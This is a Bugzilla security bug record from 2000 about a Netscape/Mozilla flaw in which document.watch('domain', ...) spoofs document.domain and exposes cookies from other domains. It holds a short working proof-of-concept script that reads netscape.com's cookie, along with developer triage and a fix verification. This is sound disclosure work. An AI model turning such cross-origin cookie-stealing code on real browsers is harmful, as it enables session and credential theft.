Closed Bug 42219 Opened 26 years ago Closed 26 years ago

document.watch("domain",...) allows stealing cookies from arbitrary domains

Categories

(Core :: Security, defect, P3)

defect

Tracking

()

VERIFIED FIXED

People

(Reporter: security-bugs, Assigned: security-bugs)

References

()

Details

(Whiteboard: [nsbeta2+])

Date: Mon, 12 Jun 2000 16:21:02 +0300 From: Georgi Guninski <joro@nat.bg> To: Mitchell Stoltz <mstoltz@netscape.com> It is possible to assign arbitrary values to document.domain using 'document.watch("domain",...)' (document.domain="somedomain" does not work) This allows stealing cookies from arbitrary domains. Other DOM properties except document.cookie seem to be protected by SameOrigin when document.domain is modified. The code is: ----------------------------------------------------------------------- <SCRIPT> document.watch("domain", function(i,o,n) { return n;}); document.domain="netscape.com"; alert("document.domain="+document.domain); </SCRIPT> <SCRIPT> a=window.open("http://www.netscape.com"); </SCRIPT> <BR> <A HREF="javascript:alert(a.document.cookie)">Read the cookie from netscape.com</A> -----------------------------------------------------------------------
Adding nsbeta2 keyword.
Keywords: nsbeta2
Target Milestone: --- → M17
Bugs sent in by Guninski should be marked netscape confidential until we ship a release with a fix in place. Marking confidential. Putting on beta2 plus radar
Group: netscapeconfidential?
Whiteboard: [nsbeta2+]
Assigning QA to czhang
Confirmed. I can read other properties as well, not just cookies. When using watch(), it seems documnet.domain is getting set without nsHTMLDocument::SetDomain ever getting called, which it should.
Status: NEW → ASSIGNED
Looks like using watch() causes JS to set the value of the property without calling the setter established by DOM (setting documnet.domain should call nsHTMLDocument::SetDomain which checks if the new value is legal). Reassigning to JS as this seems to be an engine bug.
Assignee: mstoltz → rogerl
Status: ASSIGNED → NEW
Component: Security: General → Javascript Engine
QA Contact: czhang → pschwartau
I think this is fixed by the fix to #44013 OR by Mitch's recent fixes. Either way I think the exploit is now unavailable - when I checked with a build from 7/11/00 I got 'access denied' when trying to get the cookie. Not knowing enough about this I'm reassigning back to Mitch. Mitch , can you mark as fixed or not and/or reassign it back to me as necessary?, thanks.
Assignee: rogerl → mstoltz
Component: Javascript Engine → Security: General
it is not reading cookie, fixed
Status: NEW → RESOLVED
Closed: 26 years ago
Resolution: --- → FIXED
verified
Status: RESOLVED → VERIFIED
Opening fixed security bugs to the public.
Group: netscapeconfidential?
Flags: testcase+
Flags: in-testsuite+ → in-testsuite?
You need to log in before you can comment on or make changes to this bug.